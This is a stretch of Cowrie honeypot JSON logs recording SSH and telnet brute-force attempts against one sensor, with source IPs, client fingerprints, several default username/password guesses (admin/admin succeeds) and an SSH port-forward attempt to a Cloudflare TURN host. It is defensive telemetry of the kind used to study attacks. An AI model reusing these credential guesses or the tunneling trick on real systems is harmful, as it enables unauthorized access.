{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:53:22.276929Z","src_ip":"45.148.10.121","session":"8892340434b9","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"141.101.90.1","dst_port":3478,"src_ip":"45.148.10.121","src_port":0,"message":"direct-tcp connection request to 141.101.90.1:3478 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:53:22.363980Z","session":"8892340434b9","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"141.101.90.1","dst_port":3478,"ja4h":"ge11nn020000_8d35d308f07e_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 141.101.90.1:3478: ge11nn020000_8d35d308f07e_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:53:22.450109Z","src_ip":"45.148.10.121","session":"8892340434b9","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"141.101.90.1","dst_port":3478,"data":"b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","id":0,"message":"discarded direct-tcp forward request 0 to 141.101.90.1:3478 with data b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:53:22.453425Z","src_ip":"45.148.10.121","session":"8892340434b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:53:22.541394Z","src_ip":"45.148.10.121","session":"8892340434b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.159.169.93","src_port":49034,"dst_ip":"159.203.135.109","dst_port":22,"session":"35408d3c1cc0","protocol":"ssh","message":"New connection: 43.159.169.93:49034 (159.203.135.109:22) [session: 35408d3c1cc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:53:22.548653Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:53:22.553077Z","src_ip":"43.159.169.93","session":"35408d3c1cc0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:53:22.620909Z","src_ip":"43.159.169.93","session":"35408d3c1cc0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":51182,"dst_ip":"159.203.135.109","dst_port":22,"session":"e64b46f07855","protocol":"ssh","message":"New connection: 45.148.10.121:51182 (159.203.135.109:22) [session: e64b46f07855]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:53:22.626875Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:53:22.632867Z","src_ip":"45.148.10.121","session":"e64b46f07855","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bf7dbf67fa9b26ee9f9deb99c49320ba","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour256,arcfour128,arcfour;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256","rsa-sha2-512","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc","arcfour256","arcfour128","arcfour"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bf7dbf67fa9b26ee9f9deb99c49320ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:53:22.720557Z","src_ip":"45.148.10.121","session":"e64b46f07855","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"redmine","password":"1234","message":"login attempt [redmine/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:53:22.923832Z","src_ip":"43.159.169.93","session":"35408d3c1cc0","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:53:22.983595Z","src_ip":"45.148.10.121","session":"e64b46f07855","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"141.101.90.1","dst_port":3478,"src_ip":"45.148.10.121","src_port":0,"message":"direct-tcp connection request to 141.101.90.1:3478 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:53:23.072932Z","session":"e64b46f07855","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"141.101.90.1","dst_port":3478,"ja4h":"ge11nn020000_8d35d308f07e_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 141.101.90.1:3478: ge11nn020000_8d35d308f07e_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:53:23.221488Z","src_ip":"45.148.10.121","session":"e64b46f07855","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"141.101.90.1","dst_port":3478,"data":"b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","id":0,"message":"discarded direct-tcp forward request 0 to 141.101.90.1:3478 with data b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:53:23.224621Z","src_ip":"45.148.10.121","session":"e64b46f07855","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:53:23.316089Z","src_ip":"45.148.10.121","session":"e64b46f07855","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:53:23.993231Z","src_ip":"43.159.169.93","session":"35408d3c1cc0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.128.111.187","src_port":39434,"dst_ip":"159.203.135.109","dst_port":22,"session":"ceb3022e0100","protocol":"ssh","message":"New connection: 43.128.111.187:39434 (159.203.135.109:22) [session: ceb3022e0100]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:53:25.216918Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:53:25.221828Z","src_ip":"43.128.111.187","session":"ceb3022e0100","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:53:25.466817Z","src_ip":"43.128.111.187","session":"ceb3022e0100","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45778,"dst_ip":"10.17.0.5","dst_port":23,"session":"b956769ebb51","protocol":"telnet","message":"New connection: 152.42.224.71:45778 (10.17.0.5:23) [session: b956769ebb51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:53:26.051091Z"}
{"eventid":"cowrie.login.failed","username":"dasusr1","password":"passw0rd","message":"login attempt [dasusr1/passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:53:26.478138Z","src_ip":"43.128.111.187","session":"ceb3022e0100","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:53:27.726411Z","src_ip":"43.128.111.187","session":"ceb3022e0100","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.54.120","src_port":58668,"dst_ip":"10.17.0.5","dst_port":22,"session":"36e9b67f7cee","protocol":"ssh","message":"New connection: 43.153.54.120:58668 (10.17.0.5:22) [session: 36e9b67f7cee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:53:28.249870Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:53:28.253953Z","src_ip":"43.153.54.120","session":"36e9b67f7cee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:53:28.321012Z","src_ip":"43.153.54.120","session":"36e9b67f7cee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tropicana","message":"login attempt [root/tropicana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:53:28.625682Z","src_ip":"43.153.54.120","session":"36e9b67f7cee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:53:29.696281Z","src_ip":"43.153.54.120","session":"36e9b67f7cee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45786,"dst_ip":"10.17.0.5","dst_port":23,"session":"8ac19530b022","protocol":"telnet","message":"New connection: 152.42.224.71:45786 (10.17.0.5:23) [session: 8ac19530b022]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:53:30.554257Z"}
{"eventid":"cowrie.session.connect","src_ip":"59.17.95.129","src_port":38532,"dst_ip":"159.203.135.109","dst_port":22,"session":"b07799967ec7","protocol":"ssh","message":"New connection: 59.17.95.129:38532 (159.203.135.109:22) [session: b07799967ec7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:53:35.799241Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:53:35.804297Z","src_ip":"59.17.95.129","session":"b07799967ec7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:53:36.010904Z","src_ip":"59.17.95.129","session":"b07799967ec7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"111111","message":"login attempt [git/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:53:36.852467Z","src_ip":"59.17.95.129","session":"b07799967ec7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:53:38.057594Z","src_ip":"59.17.95.129","session":"b07799967ec7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":35742,"dst_ip":"159.203.135.109","dst_port":22,"session":"b687c8d7daf0","protocol":"ssh","message":"New connection: 103.149.28.157:35742 (159.203.135.109:22) [session: b687c8d7daf0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:53:42.088218Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:53:42.092922Z","src_ip":"103.149.28.157","session":"b687c8d7daf0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:53:42.341363Z","src_ip":"103.149.28.157","session":"b687c8d7daf0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fktyrf","message":"login attempt [root/fktyrf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:53:43.085787Z","src_ip":"103.149.28.157","session":"b687c8d7daf0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:53:44.339699Z","src_ip":"103.149.28.157","session":"b687c8d7daf0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51536,"dst_ip":"10.17.0.5","dst_port":23,"session":"ddc474df0727","protocol":"telnet","message":"New connection: 152.42.224.71:51536 (10.17.0.5:23) [session: ddc474df0727]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:53:44.905482Z"}
{"eventid":"cowrie.session.connect","src_ip":"197.248.104.31","src_port":46816,"dst_ip":"10.17.0.5","dst_port":22,"session":"e2e2cdce0030","protocol":"ssh","message":"New connection: 197.248.104.31:46816 (10.17.0.5:22) [session: e2e2cdce0030]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:53:49.604266Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:53:49.612524Z","src_ip":"197.248.104.31","session":"e2e2cdce0030","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:53:49.824449Z","src_ip":"197.248.104.31","session":"e2e2cdce0030","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.159.35.21","src_port":39078,"dst_ip":"10.17.0.5","dst_port":22,"session":"93501e628042","protocol":"ssh","message":"New connection: 43.159.35.21:39078 (10.17.0.5:22) [session: 93501e628042]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:53:50.483046Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:53:50.487019Z","src_ip":"43.159.35.21","session":"93501e628042","protocol":"ssh"}
